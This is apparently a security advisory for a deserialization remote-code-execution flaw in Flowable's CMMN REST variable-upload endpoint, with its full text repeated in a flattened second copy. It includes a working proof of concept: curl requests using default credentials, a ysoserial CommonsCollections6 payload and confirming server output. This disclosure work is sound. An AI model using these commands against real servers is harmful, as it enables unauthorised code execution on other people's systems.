Flowable CMMN REST PlanItemInstance Variable Endpoint Deserialization RCE
Summary
The Flowable CMMN REST module's PlanItemInstanceVariableCollectionResource.createPlanItemInstanceVariable() endpoint allows uploading files via multipart/form-data to create plan item instance variables. When the type parameter is serializable, the system uses Java native ObjectInputStream.readObject() to deserialize the user-uploaded file content, with no class filtering applied (no whitelist, no blacklist, no ObjectInputFilter). The classpath contains commons-collections-3.2.2.jar, providing the CommonsCollections6 deserialization gadget chain. An attacker can construct a malicious serialized object to achieve remote code execution (RCE).
Affected Version & Commit
Vulnerability Description
Trigger Location
file: modules/flowable-cmmn-rest/src/main/java/org/flowable/cmmn/rest/service/api/runtime/caze/BaseVariableResource.java
line: 365-367
// Try deserializing the object
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject();
setVariable(instanceId, variableName, value, scope, isNew, async, variableInterceptor);
stream.close();
Data Flow
HTTP POST /flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances/{planItemInstanceId}/variables
(Content-Type: multipart/form-data, file=<malicious serialized payload>, name=xxx, type=serializable)
↓
PlanItemInstanceVariableCollectionResource.createPlanItemInstanceVariable()
PlanItemInstanceVariableCollectionResource.java:70-74
Calls getPlanItemInstanceFromRequest() to validate plan item existence, then calls createVariable()
↓
BaseVariableResource.createVariable(PlanItemInstance, boolean, HttpServletRequest, HttpServletResponse)
BaseVariableResource.java:188-191
↓
BaseVariableResource.createVariable(String, int, boolean, HttpServletRequest, ...)
BaseVariableResource.java:193-264
Detects request instanceof MultipartHttpServletRequest → true
Calls setBinaryVariable()
↓
BaseVariableResource.setBinaryVariable(MultipartHttpServletRequest, ...)
BaseVariableResource.java:303-391
Parses type=serializable → enters else if (isSerializableVariableAllowed) branch
↓
ObjectInputStream.readObject() ← SINK
BaseVariableResource.java:365-366
Directly deserializes user-uploaded file content, no class filtering → RCE
Configuration Switch (Enabled by Default)
BaseVariableResource.java:67:
isSerializableVariableAllowed = env.getProperty("rest.variables.allow.serializable", Boolean.class, true);
Defaults to true, meaning the deserialization path is directly reachable under default configuration.
Affected Endpoints
POST /flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances/{planItemInstanceId}/variables (port 8080)
Exploitation Conditions
| Condition |
Description |
| Authentication |
Requires valid HTTP Basic auth credentials (any registered Flowable user; default provides rest-admin:test account) |
| Network reachability |
Internal network/public (HTTP reachable REST port 8080) |
| Configuration dependency |
rest.variables.allow.serializable=true (enabled by default); CMMN REST API endpoint exposed |
| Other prerequisites |
At least one active plan item instance must exist in the database; classpath contains commons-collections-3.2.2.jar |
Proof of Concept
# 1. Get available plan item instance list (if none, deploy CMMN case and start instance first)
curl -s -u rest-admin:test \
"http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances"
# 2. Generate CommonsCollections6 payload using ysoserial
java --add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
--add-opens java.base/java.text=ALL-UNNAMED \
--add-opens java.desktop/java.awt.font=ALL-UNNAMED \
--add-opens java.base/java.util.concurrent=ALL-UNNAMED \
--add-opens java.base/java.net=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections6 \
"touch /tmp/pwned_0405" > payload.ser
# 3. Send payload to target plan item instance
curl -X POST \
-u rest-admin:test \
"http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances/{planItemInstanceId}/variables" \
-F "name=exploit" \
-F "type=serializable" \
-F "scope=local" \
-F "file=@payload.ser"
Actual execution results:
Payload send request returns HTTP 201 Created:
{
"name": "CommonsCollections6",
"type": "serializable",
"value": null,
"valueUrl": "http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances/d3159c3e-8ffe-11f1-a444-02423661ba3a/variables/CommonsCollections6/data",
"scope": "local"
}
RCE execution result confirmation:
$ ls -la /tmp/pwned_0405
-rw-r----- 1 root root 0 Aug 4 12:22 /tmp/pwned_0405
Exploitation Chain Progress
| Chain Stage |
Location (file:line) |
Status |
Evidence / Notes |
| Entry |
PlanItemInstanceVariableCollectionResource.java:70 |
✅ Connected |
HTTP POST multipart request reached CMMN REST endpoint |
| Existence validation |
BaseVariableResource.java:70-75 |
✅ Connected |
planItemInstanceId validated via parameterized query |
| Multipart detection |
BaseVariableResource.java:193 |
✅ Connected |
request instanceof MultipartHttpServletRequest = true |
| Type branch |
BaseVariableResource.java:363 |
✅ Connected |
type=serializable → isSerializableVariableAllowed=true (default) |
| Sink |
BaseVariableResource.java:365-366 |
✅ Triggered |
ObjectInputStream.readObject() executes deserialization, triggers CC6 chain |
| RCE result |
System filesystem |
✅ Success |
Server created file /tmp/pwned_0405, HTTP 201 confirms variable storage success |
Impact
- Deserialization vulnerability confirmed: The server successfully received and deserialized the CommonsCollections6 payload via
ObjectInputStream.readObject()
- RCE confirmed: The
touch /tmp/pwned_0405 command in the payload executed successfully on the server, file created (timestamp Aug 4 12:22, matching request time)
- HTTP 201 response proves the deserialized object was stored as a plan item instance variable with no exception thrown
- No class filtering protection: No ObjectInputFilter, whitelist, or blacklist configured in the code; readObject() called directly
Severity
CVSS v3.1: 8.1 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
CWE: CWE-502 (Deserialization of Untrusted Data)
Credit
- Jiecub3 (GitHub ID: 87791178)
- Aur0ra-m (GitHub ID: 103031059)
- lz2y (GitHub ID: 55266300)
Flowable CMMN REST PlanItemInstance Variable Endpoint Deserialization RCE
Summary
The Flowable CMMN REST module's
PlanItemInstanceVariableCollectionResource.createPlanItemInstanceVariable()endpoint allows uploading files via multipart/form-data to create plan item instance variables. When thetypeparameter isserializable, the system uses Java nativeObjectInputStream.readObject()to deserialize the user-uploaded file content, with no class filtering applied (no whitelist, no blacklist, no ObjectInputFilter). The classpath contains commons-collections-3.2.2.jar, providing the CommonsCollections6 deserialization gadget chain. An attacker can construct a malicious serialized object to achieve remote code execution (RCE).Affected Version & Commit
Vulnerability Description
Trigger Location
file:
modules/flowable-cmmn-rest/src/main/java/org/flowable/cmmn/rest/service/api/runtime/caze/BaseVariableResource.javaline: 365-367
Data Flow
Configuration Switch (Enabled by Default)
BaseVariableResource.java:67:Defaults to
true, meaning the deserialization path is directly reachable under default configuration.Affected Endpoints
POST /flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances/{planItemInstanceId}/variables(port 8080)Exploitation Conditions
rest-admin:testaccount)rest.variables.allow.serializable=true(enabled by default); CMMN REST API endpoint exposedProof of Concept
Actual execution results:
Payload send request returns HTTP 201 Created:
{ "name": "CommonsCollections6", "type": "serializable", "value": null, "valueUrl": "http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances/d3159c3e-8ffe-11f1-a444-02423661ba3a/variables/CommonsCollections6/data", "scope": "local" }RCE execution result confirmation:
Exploitation Chain Progress
/tmp/pwned_0405, HTTP 201 confirms variable storage successImpact
ObjectInputStream.readObject()touch /tmp/pwned_0405command in the payload executed successfully on the server, file created (timestamp Aug 4 12:22, matching request time)Severity
CVSS v3.1: 8.1 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
CWE: CWE-502 (Deserialization of Untrusted Data)
Credit